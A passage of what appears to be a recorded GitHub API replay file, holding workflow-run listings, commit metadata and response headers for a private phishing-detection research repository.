ttps://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":278093538,"node_id":"MDExOldvcmtmbG93UnVuMjc4MDkzNTM4","head_branch":"create_new_features","head_sha":"04880130a1150ee8d626de0fb3a4883e988ef55e","run_number":262,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1259757006,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5NzU3MDA2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/278093538","pull_requests":[],"created_at":"2020-09-29T07:34:13Z","updated_at":"2020-09-29T07:36:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259757006","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/278093538/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"04880130a1150ee8d626de0fb3a4883e988ef55e","tree_id":"5b86fe3384b9e5965c2ff737a9bbdb2649ef46e9","message":"Fix lint errors","timestamp":"2020-09-29T07:34:03Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runs?status=failure +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"054d1c3aa84ef0211931eb8e2309360a2966f35e3e03298537575d07bd9af1ad"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '95'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F151:7434:94025:FA6E5:5F987CA1')] +{"total_count":274,"workflow_runs":[{"id":292080359,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwMzU5","head_branch":"x_spam_flag","head_sha":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","run_number":1074,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1298619940,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjE5OTQw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080359","pull_requests":[],"created_at":"2020-10-06T19:37:25Z","updated_at":"2020-10-06T21:20:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298619940","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","tree_id":"77aa1beb0d2e686b25f12f2d46699b0ff3df537b","message":"Fixed header.x_spam_flag","timestamp":"2020-10-06T19:37:11Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287367688,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzY3Njg4","head_branch":"API_Flatten","head_sha":"151e404c37f8e215dcbff51610120fa8f4b0e909","run_number":1062,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285349718,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MzQ5NzE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287367688","pull_requests":[],"created_at":"2020-10-04T03:32:40Z","updated_at":"2020-10-04T03:48:09Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285349718","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"151e404c37f8e215dcbff51610120fa8f4b0e909","tree_id":"366c7a9c966876764796bacb8475fae8a9e59a38","message":"Unified extract_train_features","timestamp":"2020-10-04T03:32:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.g